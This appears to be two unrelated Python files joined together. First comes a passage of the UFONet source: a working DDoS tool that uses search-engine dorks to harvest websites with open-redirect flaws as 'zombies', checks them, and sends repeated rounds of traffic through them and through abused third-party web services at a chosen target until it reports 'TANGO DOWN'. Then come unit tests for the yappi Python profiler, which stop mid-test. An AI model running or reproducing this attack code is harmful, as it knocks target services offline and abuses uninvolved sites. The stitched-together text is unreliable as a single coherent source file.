return #sys.exit(2)
print "\nSearch engines available:"
print '-'*25
for e in self.search_engines:
print "+ "+e
print '-'*25
print "\nEx: ufonet -s 'proxy.php?url=' --se 'duck'"
return #sys.exit(2)
else:
req_reply = ''
regex = '<a rel="nofollow" class="large" href="(.+?)"' # regex magics
pattern = re.compile(regex)
url_links = re.findall(pattern, req_reply)
elif options.engine == 'google': # google [07/10/2015: OK!]
url = 'https://www.google.com/xhtml?'
if options.search: # search from query
q = 'inurl:"' + str(options.search) + '"' # set query to search literally on results
if options.dorks: # search from a dork
q = 'inurl:"' + str(dork) + '"' # set query from a dork to search literally on results
start = 0 # set index number of first entry
if options.num_results: # set number of results to search
try:
num = int(options.num_results)
except:
print("You should specify an integer!!!. Using default value: 10\n")
num = 10
else:
num = 10
gws_rd = 'ssl' # set SSL as default
query_string = { 'q':q, 'start':start, 'num':num, 'gws_rd':gws_rd }
data = urllib.urlencode(query_string)
url = url + data
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
if options.verbose:
print("Query used: " + url + "\n")
try:
req = urllib2.Request(url, None, headers)
req_reply = urllib2.urlopen(req).read()
except:
print('[Error] - Unable to connect to google\n')
if options.allengines:
return
if not options.dorks:
if not self.options.forceyes:
update_reply = raw_input("Wanna try a different search engine (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
return #sys.exit(2)
print "\nSearch engines available:"
print '-'*25
for e in self.search_engines:
print "+ "+e
print '-'*25
print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
return #sys.exit(2)
else:
req_reply = ''
regex = '<h3 class="r"><a href="/url(.+?)">' # regex magics
pattern = re.compile(regex)
url_links = re.findall(pattern, req_reply)
elif options.engine == 'bing': # bing [07/10/2015: OK!]
url = 'https://www.bing.com/search?'
if options.search: # search from query
q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
if options.dorks: # search from a dork
q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
start = 0 # set index number of first entry
query_string = { 'q':q, 'first':start }
data = urllib.urlencode(query_string)
url = url + data
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
if options.verbose:
print("Query used: " + url + "\n")
try:
req = urllib2.Request(url, None, headers)
req_reply = urllib2.urlopen(req).read()
except:
print('[Error] - Unable to connect to bing\n')
if options.allengines:
return
if not options.dorks:
if not self.options.forceyes:
update_reply = raw_input("Wanna try a different search engine (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
return #sys.exit(2)
print "\nSearch engines available:"
print '-'*25
for e in self.search_engines:
print "+ "+e
print '-'*25
print "\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'"
return #sys.exit(2)
else:
req_reply = ''
regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
pattern = re.compile(regex)
url_links = re.findall(pattern, req_reply)
elif options.engine == 'yahoo': # yahoo [07/10/2015: OK!]
url = 'https://search.yahoo.com/search?'
if options.search: # search from query
q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
if options.dorks: # search from a dork
q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
start = 0 # set index number of first entry
query_string = { 'p':q, 'b':start }
data = urllib.urlencode(query_string)
url = url + data
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
if options.verbose:
print("Query used: " + url + "\n")
try:
req = urllib2.Request(url, None, headers)
req_reply = urllib2.urlopen(req).read()
except:
print('[Error] - Unable to connect to yahoo\n')
if options.allengines:
return
if not options.dorks:
if not self.options.forceyes:
update_reply = raw_input("Wanna try a different search engine (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
return #sys.exit(2)
print "\nSearch engines available:"
print '-'*25
for e in self.search_engines:
print "+ "+e
print '-'*25
print "\nEx: ufonet -s 'proxy.php?url=' --se 'duck'"
return #sys.exit(2)
else:
req_reply = ''
regex = '<h3 class="title"><a class=" ac-algo ac-21th" href="(.+?)">' # regex magics
pattern = re.compile(regex)
url_links = re.findall(pattern, req_reply)
elif options.engine == 'yandex': # yandex [07/10/2015: OK!]
url = 'https://yandex.ru/search/?'
if options.search: # search from query
q = 'inurl:"' + str(options.search) + '"' # set query to search literally on results
if options.dorks: # search from a dork
q = 'inurl:"' + str(dork) + '"' # set query from a dork to search literally on results
start = 0 # set index number of first entry
query_string = { 'text':q, 'p':start }
data = urllib.urlencode(query_string)
url = url + data
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
if options.verbose:
print("Query used: " + url + "\n")
try:
req = urllib2.Request(url, None, headers)
req_reply = urllib2.urlopen(req).read()
except:
print('[Error] - Unable to connect to yandex\n')
if options.allengines:
return
if not options.dorks:
if not self.options.forceyes:
update_reply = raw_input("Wanna try a different search engine (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
return #sys.exit(2)
print "\nSearch engines available:"
print '-'*25
for e in self.search_engines:
print "+ "+e
print '-'*25
print "\nEx: ufonet -s 'proxy.php?url=' --se 'duck'"
return #sys.exit(2)
else:
req_reply = ''
regex = '<a class="link link_cropped_no serp-item__title-link" target="_blank" href="(.+?)"' # regex magics
pattern = re.compile(regex)
url_links = re.findall(pattern, req_reply)
else: # no valid search engine
print('[Error] - This search engine is not supported!\n')
if not options.dorks:
if not self.options.forceyes:
update_reply = raw_input("Wanna try a different search engine (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
return #sys.exit(2)
print "\nSearch engines available:"
print '-'*25
for e in self.search_engines:
print "+ "+e
print '-'*25
print "\nEx: ufonet -s 'proxy.php?url=' --se 'duck'"
return #sys.exit(2)
else:
req_reply = ''
if options.num_results: # set number of results to search
try:
num = int(options.num_results)
except:
print("You should specify an integer!!!. Using default value: 10\n")
num = 10
else:
num = 10
total_results = 1
for url in url_links: # general parse on urls
if int(num) < int(total_results):
break
total_results = total_results + 1 # results counter
url_link = url.strip('?q=') # parse url_links to retrieve only a url
url_link = urllib.unquote(url_link).decode('utf8') # unquote encoding
if options.search:
sep = str(options.search)
if options.dorks:
sep = str(dork)
url_link = url_link.rsplit(sep, 1)[0] + sep
if url_link not in zombies: # parse possible repetitions
print('+Victim found: ' + url_link)
print '-'*12
zombies.append(url_link)
else:
pass
if len(zombies) == 0: # print dorking results
print "[Info] - Not any possible victim(s) found for this query!"
if not options.dorks:
if not self.options.forceyes:
return #sys.exit(2)
print '\n' + '='*22
print('+Possible Zombies: ' + str(len(zombies)))
self.total_possible_zombies = self.total_possible_zombies + len(zombies)
print '='*22 + '\n'
if options.dorks:
print '-'*44 + '\n'
return zombies
def check_nat(self):
# check for NAT configuration
options = self.options
from urllib import urlopen
tor_reply = urllib2.urlopen("https://check.torproject.org").read() # check if TOR is enabled
your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
if not tor_reply or 'Congratulations' not in tor_reply:
print("[Info] It seems that you are not using TOR to recieve data. Good!\n")
else:
print("[Error] You are using TOR as public IP... It's not possible to NAT!\n")
sys.exit(2) # exit
try:
data = str(urlopen('http://checkip.dyndns.com/').read()) # check for public ip
self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
except:
try: # another check for public ip
data = str(urlopen('http://whatismyip.org/').read())
self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
except:
print("[Error] Something wrong checking your public IP using an external service. Try it again!\n")
sys.exit(2) # exit
print " + Public: " + self.pub_ip + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
self.local_ip = s.getsockname()[0]
print " + Local: " + self.local_ip + "\n"
print '='*22 + '\n'
def check_is_up(self, target):
# extract external status checkers, perform a request and check results
options = self.options
num_is_up = 0 # counter for 'up' reports
num_is_down = 0 # counter for 'down' reports
print "\n[Info] Flying some UCAV with 'heat-beam' weapons...\n"
shuffle(self.check_engines) # suffle check_engines order
for check_engine in self.check_engines:
self.user_agent = random.choice(self.agents).strip() # suffle user-agent
if target.startswith("http://"): # parse target for some checkers
target = target.replace('http://','')
elif target.startswith("https://"):
target = target.replace('https://','')
url = check_engine + target
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
try:
if options.verbose:
print("[Info] Sniping: " + url)
req = urllib2.Request(url, None, headers)
req_reply = urllib2.urlopen(req).read()
if not "is down" or not "looks down" in req_reply: # parse external service for reply
print "[Info] UCAV: " + check_engine + " -> HIT! || Report: ONLINE! [Keep shooting!]"
num_is_up = num_is_up + 1
else:
print "[Info] UCAV: " + check_engine + " -> FAILED? || Report: Target looks OFFLINE from here!!! ;-)"
num_is_down = num_is_down + 1
except Exception:
print "[Error] UCAV: " + check_engine + " -> FAILED (cannot connect!)"
if num_is_down > 0 and num_is_up == 0: # check for: 1 or more down, 0 up
print "\n[Info] Congratulations!. Your target looks OFFLINE from external sources...\n"
if not self.options.forceyes:
update_reply = raw_input("Wanna send a [HEAD] check request from your proxy (y/N)")
print '-'*25
else:
update_reply = "N"
if update_reply == "y" or update_reply == "Y":
try: # send HEAD connection
self.head = True
reply = self.connect_zombie(target)
self.head = False
if reply:
print "\n[Info] Wow! Target is replying you... Keep shooting!\n"
else:
print "\n[Info] #UFONet TANGO DOWN!!! -> " +target + "\n"
if not self.options.web:
sys.exit(2) # exit
except Exception:
print "[Error] Something wrong with your connection!"
if self.options.verbose:
traceback.print_exc()
return #sys.exit(2)
else:
print "[Info] #UFONet TANGO DOWN!!! -> " +target + "\n"
if not self.options.web:
sys.exit(2) # exit
def send_aliens(self, target):
# extract external web abuse services urls and perform requests against target
options = self.options
print "\n[Info] Deploying heavy alien troops with 'laser-cannon' weapons...\n"
aliens = self.extract_aliens() # extract aliens from file
shuffle(aliens) # suffle aliens
for alien in aliens:
if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
pattern_alien = re.compile(regex_alien)
alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
pattern_param = re.compile(regex_param)
param = re.findall(pattern_param, alien) # HTTP POST params to submit
for u in alien_url:
url = u # ex: POST -> path/submit.php
print "[Info] Firing from: " + url
for p in param:
param_target = {p : target} # ex POST -> url=target
param_target = urllib.urlencode(param_target)
self.user_agent = random.choice(self.agents).strip() # suffle user-agent
headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
try:
if options.verbose:
print "[Info] Sniping: " + url + " - POST:", param_target
t = urlparse(url)
name_alien = t.netloc
path_alien = t.path
if url.startswith("http://"):
h = httplib.HTTPConnection(name_alien)
if url.startswith("https://"):
h = httplib.HTTPSConnection(name_alien)
h.request('POST', path_alien, param_target, headers)
#r = h.getresponse()
#print r.read()
except Exception:
print "[Error] Alien: " + alien + " -> FAILED (cannot connect!)"
def extract_aliens(self):
# extract aliens from file (ex: 'aliens.txt')
options = self.options
try:
f = open('aliens.txt')
aliens = f.readlines()
aliens = [ alien.replace('\n','') for alien in aliens ]
f.close()
if not aliens:
print "\n[Error] - Imposible to retrieve 'aliens' from file.\n"
return
else:
return aliens
except:
if os.path.exists('aliens.txt') == True:
print '\n[Error] - Cannot open:', 'aliens.txt', "\n"
return #sys.exit(2)
else:
print '\n[Error] - Cannot found:', 'aliens.txt', "\n"
return #sys.exit(2)
def extract_zombies(self):
# extract targets from file (ex: 'zombies.txt')
options = self.options
if self.options.test:
try:
f = open(options.test)
zombies = f.readlines()
zombies = [ zombie.replace('\n','') for zombie in zombies ]
f.close()
if not zombies:
print "\n[Error] - Imposible to extract 'zombies' from file "+options.test+".\n"
return
else:
return zombies
except:
if os.path.exists(options.test) == True:
print '\n[Error] - Cannot open:', options.test, "\n"
return #sys.exit(2)
else:
print '\n[Error] - Cannot found:', options.test, "\n"
return #sys.exit(2)
else:
try:
f = open('zombies.txt')
zombies = f.readlines()
zombies = [ zombie.replace('\n','') for zombie in zombies ]
f.close()
if not zombies:
print "\n[Error] - Imposible to retrieve 'zombies' from file.\n"
return
else:
return zombies
except:
if os.path.exists('zombies.txt') == True:
print '\n[Error] - Cannot open:', 'zombies.txt', "\n"
return #sys.exit(2)
else:
print '\n[Error] - Cannot found:', 'zombies.txt', "\n"
return #sys.exit(2)
def update_zombies(self, zombies_ready):
# update zombies on file (ex: 'zombies.txt')
options = self.options
if options.attackme:
f = open("zombies.txt", "w") # re-write list
for zombie in self.doll.real_zombies: # add only alien verified zombies
for x in zombie:
f.write(str(x) + os.linesep)
f.close()
if options.test:
f = open(options.test, "w") # re-write list only with zombies ready
for zombie in zombies_ready:
f.write(zombie + os.linesep)
f.close()
if options.search or options.dorks or options.download: # append only new zombies to list
f = open('zombies.txt')
zombies_on_file = f.read().splitlines()
with open("zombies.txt", "a") as zombie_list:
for zombie in zombies_ready:
if zombie not in zombies_on_file: # parse possible repetitions
zombie_list.write(zombie + os.linesep)
f.close()
def testing(self, zombies):
# test Open Redirect vulnerabilities on webapps and show statistics
# HTTP HEAD check
print ("Are 'they' alive? :-) (HEAD Check):")
print '='*35
num_active_zombies = 0
num_failed_zombies = 0
active_zombies = []
army = 0
print "Trying:", len(zombies)
print '-'*21
for zombie in zombies:
zombie = str(zombie)
if zombie.startswith("http://") or zombie.startswith("https://"):
# send HEAD connection
self.head = True
self.connect_zombies(zombie)
while self.herd.no_more_zombies() == False:
time.sleep(1)
for zombie in self.herd.done:
zombie = str(zombie)
t = urlparse(zombie)
if self.herd.get_result(zombie):
code_reply = self.herd.get_result(zombie)
self.head = False
if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405":
name_zombie = t.netloc
print "Zombie:", name_zombie
print "Status: Ok ["+ code_reply + "]"
num_active_zombies = num_active_zombies + 1
active_zombies.append(zombie)
elif code_reply == "404":
print "Zombie:", t.netloc
print "Status: Not Found ["+ code_reply + "]"
num_failed_zombies = num_failed_zombies + 1
else:
print "Zombie:", t.netloc, zombie
print "Status: Not Allowed ["+ code_reply + "]"
num_failed_zombies = num_failed_zombies + 1
else:
if self.options.verbose:
print "Reply:", "\n\nNothing!!!!!\n"
print "Zombie:", zombie
print "Status: Malformed!"
num_failed_zombies = num_failed_zombies + 1
print '-'*10
self.herd.reset()
print '='*18
print "OK:", num_active_zombies, "Fail:", num_failed_zombies
print '='*18
if num_active_zombies == 0:
print "\n[Info] - Not any zombie active!\n"
return #sys.exit(2)
print '='*22
# check url parameter vectors
print ("Checking for payloads:")
print '='*22
print "Trying:", num_active_zombies
print '-'*21
zombies_ready = []
num_waiting_zombies = 0
num_disconnected_zombies = 0
for zombie in active_zombies:
zombie = str(zombie)
t = urlparse(zombie)
name_zombie = t.netloc
#print "Vector:", zombie
self.payload = True
try:
self.connect_zombies(zombie)
except:
pass
self.payload = False
time.sleep(1)
while self.herd.no_more_zombies() == False:
time.sleep(1)
for zombie in self.herd.done:
zombie = str(zombie)
t = urlparse(zombie)
name_zombie = t.netloc
payload_zombie = zombie
payload_reply = ""
print "Vector:", payload_zombie
self.payload = True
if self.herd.get_result(zombie):
payload_reply = self.herd.get_result(zombie)
self.payload = False
if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
num_waiting_zombies = num_waiting_zombies + 1
print "Status:", "Waiting your orders..."
zombies_ready.append(zombie)
else:
num_disconnected_zombies = num_disconnected_zombies + 1
print "Status:", "Not ready..."
army = army + 1
print '-'*10
self.herd.reset()
print '='*18
print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies
print '='*18
print '='*18
# list of 'zombies' ready to attack
print ("Army of 'zombies'")
print '='*18
num_active_zombie = 0
for z in zombies_ready:
t = urlparse(z)
name_zombie = t.netloc
num_active_zombie = num_active_zombie + 1
if self.options.verbose:
print "Zombie [", num_active_zombie, "]:", name_zombie
print '-'*18
print "Total Army:", num_active_zombie
print '-'*18
# update 'zombies' list
if num_active_zombie == 0:
print "\n[Info] - Not any zombie active!\n[Info] Update will delete zombie file\n"
if not self.options.forceyes:
update_reply = raw_input("Wanna update your army (Y/n)")
print '-'*25
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
print "\nBye!\n"
return #sys.exit(2)
else:
self.update_zombies(zombies_ready)
print "\n[Info] - Botnet updated! ;-)\n"
def attacking(self, zombies):
# Perform a DDoS Web attack against a target, using Open Redirect vectors on third party machines (aka 'zombies')
target = self.options.target
if target.startswith("http://") or target.startswith("https://"):
print "Attacking: ", target
print '='*55, "\n"
# send Open Redirect injection (multiple zombies-one target url)
reply = self.injection(target, zombies)
else:
print "\n[Error] - Target url not valid!\n"
def attackme(self, zombies):
# Perform a DDoS Web attack against yourself
print "Starting local port to listening at: " + self.port + "\n"
print '='*21 + "\n"
self.doll=Doll(self)
self.doll.start()
while not self.doll._armed:
time.sleep(1)
# send Open Redirect injection (multiple zombies-multiple target urls)
target = ""
self.injection(target, zombies)
self.doll.shutdown()
self.doll.join()
self.herd.list_fails()
def injection(self, target, zombies, head_check = True):
options = self.options
head_check_here = False
head_check_external = False
print '='*21
self.head = True
if head_check:
if not options.attackme:
print "Round: 'Is target up?'"
print '='*21
try: # send HEAD connection
reply = self.connect_zombie(target)
if reply:
print "[Info] From here: YES"
head_check_here = True
else:
print "[Info] From Here: NO | Report: From here your target looks DOWN!"
head_check_here = False
except Exception:
print "[Error] From Here: NO | Report: Check failed from your connection..."
if self.options.verbose:
traceback.print_exc()
head_check_here = False
else: # check if local IP/PORT is listening on mothership
print "Round: 'Is NAT ready?'"
print '='*21
try:
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
result = sock.connect_ex(('0.0.0.0',8080))
if result == 0 or result == 110: # tmp black magic
print "[Info] Local port: YES | Report: Mothership accesible on -private- IP: http://0.0.0.0:8080"
head_check_here = True
else:
print "[Error] Local port: NO | Report: Something wrong on your port: 8080"
head_check_here = False
except Exception:
print "[Error] Local port: NO | Report: Something wrong checking open port ;("
if self.options.verbose:
traceback.print_exc()
head_check_here = False
print '-'*21
else:
head_check_here = True
self.head = False
# check target on third party service
self.external = True
if not options.attackme:
try:
external_reply = self.connect_zombie(target)
if "It's just you" in external_reply: # parse from external service: http://www.downforeveryoneorjustme.com
print "[Info] From exterior: YES"
head_check_external = True
else: # parse from external service: http://isup.me
url = "http://isup.me/" + target
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
req = urllib2.Request(url, None, headers)
req_reply = urllib2.urlopen(req).read()
if 'is up' in req_reply: # parse external service for reply
print "[Info] From exterior: YES"
head_check_external = True
else:
print "[Info] From exterior: NO | Report: From external services your target looks DOWN!"
head_check_external = False
except Exception:
print "[Error] From exterior: NO | Cannot reach external services from your network..."
head_check_external = False
else:
self.head = True
try: # check mothership from public ip / NAT using HEAD request
import httplib
try:
conn = httplib.HTTPConnection(str(self.pub_ip), 8080, timeout=10)
conn.request("HEAD", "/")
reply = conn.getresponse()
except Exception:
reply = None
if reply:
print "[Info] From exterior: YES | Report: Mothership accesible from Internet ;-)"
head_check_external = True
else:
print "[Error] From exterior: NO | Report: Cannot access to mothership on -public- url:", target
head_check_external = False
head_check_here = False # stop attack if not public IP available
except Exception:
print "[Error] From exterior: NO | Report: Check failed from your connection..."
head_check_here = False # stop attack if not public IP available
if self.options.verbose:
traceback.print_exc()
head_check_external = False
self.head = False
print '-'*21
self.external = False
# ask for start the attack
if head_check_here == True or head_check_external == True:
if not self.options.forceyes:
if not options.attackme:
start_reply = raw_input("[Info] Your target looks ONLINE!. Wanna start a DDoS attack? (y/N)\n")
else:
start_reply = raw_input("[Info] Your mothership looks READY!. Wanna start a DDoS attack against yourself? (y/N)\n")
else:
start_reply = "Y"
if start_reply == "y" or start_reply == "Y":
if options.attackme:
total_rounds = "2" # default rounds for attackme
else:
total_rounds = options.rounds # extract number of rounds
if total_rounds <= "0":
total_rounds = "1"
self.herd.cleanup()
num_round = 1
num_hits = 0
num_zombie = 1
# start to attack the target with each zombie
zombies = self.extract_zombies() # extract zombies from file
total_zombie = len(zombies)
self.herd=Herd(self)
for i in range(0, int(total_rounds)):
shuffle(zombies) # suffle zombies order, each round :-)
print ("\x1b[2J\x1b[H")# clear screen (black magic)
print '='*42
print 'Starting round:', num_round, ' of ', total_rounds
print '='*42
self.herd.reset()
for zombie in zombies:
t = urlparse(zombie)
name_zombie = t.netloc
if not self.options.attackme:
print "[Info] Attacking from: " + name_zombie
else: # on attackme target url is dynamic -> http://public_ip:port/hash|zombie
target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
self.options.target = target
if target.startswith("http://") or target.startswith("https://"):
print "Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port
print "Payload: " + target
print '='*55, "\n"
self.attack_mode = True
self.user_agent = random.choice(self.agents).strip() # suffle user-agent
self.connect_zombies(zombie)
time.sleep(1)
for zombie in self.herd.done:
if self.herd.connection_failed(zombie) == False:
num_hits = num_hits + 1
num_zombie = num_zombie + 1
if num_zombie > total_zombie:
num_zombie = 1
while self.herd.no_more_zombies() == False:
time.sleep(1)
num_round = num_round + 1
if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
send_aliens = self.send_aliens(target)
if not self.options.disableisup and not self.options.attackme: # perform an external 'is target up?' check
check_is_up = self.check_is_up(target)
print "-"*21
self.herd.dump_html()
attack_mode = False
print ("\x1b[2J\x1b[H") # black magic
if not self.options.attackme: # show herd results
self.herd.dump()
else: # show doll results
print '='*21
print "\n[Info] - Mothership transmission...\n"
num_real_zombies = len(self.doll.real_zombies)
print "Total 'zombies' 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n"
for z in self.doll.real_zombies: # show only alien verified zombies
for x in z:
print " - " + str(x)
self.herd.dump_html(True)
print "\n" # gui related
print '='*21
if not self.options.attackme:
print "\n[Info] - Attack completed! ;-)\n"
else:
if num_real_zombies < 1: # not any 100% vulnerable zombie found
print "\n[Info] - Not any 100% vulnerable zombie found... Bye!\n"
if os.path.exists('mothership') == True:
os.remove('mothership') # remove mothership stream
if os.path.exists('alien') == True:
os.remove('alien') # remove random alien worker
sys.exit(2)
else:
print "\nBye!\n"
if os.path.exists('mothership') == True:
os.remove('mothership') # remove mothership stream
if os.path.exists('alien') == True:
os.remove('alien') # remove random alien worker
if not options.web:
sys.exit(2) # exit
else:
return
else:
if not options.attackme:
print "[Info] Your target ("+target+") is OFFLINE!! ;-)"
else:
print "[Error] Your NAT/Network is not correctly configurated..."
print '-'*25
print "\nBye!\n"
if os.path.exists('mothership') == True:
os.remove('mothership') # remove mothership stream
if os.path.exists('alien') == True:
os.remove('alien') # remove random alien worker
if not options.web:
sys.exit(2) # exit
else:
return
if __name__ == "__main__":
app = UFONet()
options = app.create_options()
if options:
app.run()
|
test_functionality.py
|
import os
import sys
import time
import threading
import unittest
import yappi
import _yappi
import tests.utils as utils
import multiprocessing # added to fix http://bugs.python.org/issue15881 for > Py2.6
import subprocess
_counter = 0
class BasicUsage(utils.YappiUnitTestCase):
def test_callback_function_int_return_overflow(self):
# this test is just here to check if any errors are generated, as the err
# is printed in C side, I did not include it here. THere are ways to test
# this deterministically, I did not bother
import ctypes
def _unsigned_overflow_margin():
return 2**(ctypes.sizeof(ctypes.c_void_p) * 8) - 1
def foo():
pass
#with utils.captured_output() as (out, err):
yappi.set_context_id_callback(_unsigned_overflow_margin)
yappi.set_tag_callback(_unsigned_overflow_margin)
yappi.start()
foo()
def test_issue60(self):
def foo():
buf = bytearray()
buf += b't' * 200
view = memoryview(buf)[10:]
view = view.tobytes()
del buf[:10] # this throws exception
return view
yappi.start(builtins=True)
foo()
self.assertTrue(
len(
yappi.get_func_stats(
filter_callback=lambda x: yappi.
func_matches(x, [memoryview.tobytes])
)
) > 0
)
yappi.stop()
def test_issue54(self):
def _tag_cbk():
global _counter
_counter += 1
return _counter
def a():
pass
def b():
pass
yappi.set_tag_callback(_tag_cbk)
yappi.start()
a()
a()
a()
yappi.stop()
stats = yappi.get_func_stats()
self.assertEqual(stats.pop().ncall, 3) # aggregated if no tag is given
stats = yappi.get_func_stats(tag=1)
for i in range(1, 3):
stats = yappi.get_func_stats(tag=i)
stats = yappi.get_func_stats(
tag=i, filter_callback=lambda x: yappi.func_matches(x, [a])
)
stat = stats.pop()
self.assertEqual(stat.ncall, 1)
yappi.set_tag_callback(None)
yappi.clear_stats()
yappi.start()
b()
b()
stats = yappi.get_func_stats()
self.assertEqual(len(stats), 1)
stat = stats.pop()
self.assertEqual(stat.ncall, 2)
def test_filter(self):
def a():
pass
def b():
a()
def c():
b()
_TCOUNT = 5
ts = []
yappi.start()
for i in range(_TCOUNT):
t = threading.Thread(target=c)
t.start()
ts.append(t)
for t in ts:
t.join()
yappi.stop()
ctx_ids = []
for tstat in yappi.get_thread_stats():
if tstat.name == '_MainThread':
main_ctx_id = tstat.id
else:
ctx_ids.append(tstat.id)
fstats = yappi.get_func_stats(filter={"ctx_id": 9})
self.assertTrue(fstats.empty())
fstats = yappi.get_func_stats(
filter={
"ctx_id": main_ctx_id,
"name": "c"
}
) # main thread
self.assertTrue(fstats.empty())
for i in ctx_ids:
fstats = yappi.get_func_stats(
filter={
"ctx_id": i,
"name": "a",
"ncall": 1
}
)
self.assertEqual(fstats.pop().ncall, 1)
fstats = yappi.get_func_stats(filter={"ctx_id": i, "name": "b"})
self.assertEqual(fstats.pop().ncall, 1)
fstats = yappi.get_func_stats(filter={"ctx_id": i, "name": "c"})
self.assertEqual(fstats.pop().ncall, 1)
yappi.clear_stats()
yappi.start(builtins=True)
time.sleep(0.1)
yappi.stop()
fstats = yappi.get_func_stats(filter={"module": "time"})
self.assertEqual(len(fstats), 1)
# invalid filters`
self.assertRaises(
Exception, yappi.get_func_stats, filter={'tag': "sss"}
)
self.assertRaises(
Exception, yappi.get_func_stats, filter={'ctx_id': "None"}
)
def test_filter_callback(self):
def a():
time.sleep(0.1)
def b():
a()
def c():
pass
def d():
pass
yappi.set_clock_type("wall")
yappi.start(builtins=True)
a()
b()
c()
d()
stats = yappi.get_func_stats(
filter_callback=lambda x: yappi.func_matches(x, [a, b])
)
#stats.print_all()
r1 = '''
tests/test_functionality.py:98 a 2 0.000000 0.200350 0.100175
tests/test_functionality.py:101 b 1 0.000000 0.120000 0.100197
'''
self.assert_traces_almost_equal(r1, stats)
self.assertEqual(len(stats), 2)
stats = yappi.get_func_stats(
filter_callback=lambda x: yappi.
module_matches(x, [sys.modules[__name__]])
)
r1 = '''
tests/test_functionality.py:98 a 2 0.000000 0.230130 0.115065
tests/test_functionality.py:101 b 1 0.000000 0.120000 0.109011
tests/test_functionality.py:104 c 1 0.000000 0.000002 0.000002
tests/test_functionality.py:107 d 1 0.000000 0.000001 0.000001
'''
self.assert_traces_almost_equal(r1, stats)
self.assertEqual(len(stats), 4)
stats = yappi.get_func_stats(
filter_callback=lambda x: yappi.func_matches(x, [time.sleep])
)
self.assertEqual(len(stats), 1)
r1 = '''
time.sleep 2 0.206804 0.220000 0.103402
'''
self.assert_traces_almost_equal(r1, stats)
def test_print_formatting(self):
def a():
pass
def b():
a()
func_cols = {
1: ("name", 48),
0: ("ncall", 5),
2: ("tsub", 8),
}
thread_cols = {
1: ("name", 48),
0: ("ttot", 8),
}
yappi.start()
a()
b()
yappi.stop()
fs = yappi.get_func_stats()
cs = fs[1].children
ts = yappi.get_thread_stats()
#fs.print_all(out=sys.stderr, columns={1:("name", 70), })
#cs.print_all(out=sys.stderr, columns=func_cols)
#ts.print_all(out=sys.stderr, columns=thread_cols)
#cs.print_all(out=sys.stderr, columns={})
self.assertRaises(
yappi.YappiError, fs.print_all, columns={1: ("namee", 9)}
)
self.assertRaises(
yappi.YappiError, cs.print_all, columns={1: ("dd", 0)}
)
self.assertRaises(
yappi.YappiError, ts.print_all, columns={1: ("tidd", 0)}
)
def test_get_clock(self):
yappi.set_clock_type('cpu')
self.assertEqual('cpu', yappi.get_clock_type())
clock_info = yappi.get_clock_info()
self.assertTrue('api' in clock_info)
self.assertTrue('resolution' in clock_info)
yappi.set_clock_type('wall')
self.assertEqual('wall', yappi.get_clock_type())
t0 = yappi.get_clock_time()
time.sleep(0.1)
duration = yappi.get_clock_time() - t0
self.assertTrue(0.05 < duration < 0.3)
def test_profile_decorator(self):
def aggregate(func, stats):
fname = "tests/%s.profile" % (func.__name__)
try:
stats.add(fname)
except IOError:
pass
stats.save(fname)
raise Exception("messing around")
@yappi.profile(return_callback=aggregate)
def a(x, y):
if x + y == 25:
raise Exception("")
return x + y
def b():
pass
try:
os.remove(
"tests/a.profile"
) # remove the one from prev test, if available
except:
pass
# global profile is on to mess things up
yappi.start()
b()
# assert functionality and call function at same time
try:
self.assertEqual(a(1, 2), 3)
except:
pass
try:
self.assertEqual(a(2, 5), 7)
except:
pass
try:
a(4, 21)
except:
pass
stats = yappi.get_func_stats().add("tests/a.profile")
fsa = utils.find_stat_by_name(stats, 'a')
self.assertEqual(fsa.ncall, 3)
self.assertEqual(len(stats), 1) # b() should be cleared out.
@yappi.profile(return_callback=aggregate)
def count_down_rec(n):
if n == 0:
return
count_down_rec(n - 1)
try:
os.remove(
"tests/count_down_rec.profile"
) # remove the one from prev test, if available
except:
pass
try:
count_down_rec(4)
except:
pass
try:
count_down_rec(3)
except:
pass
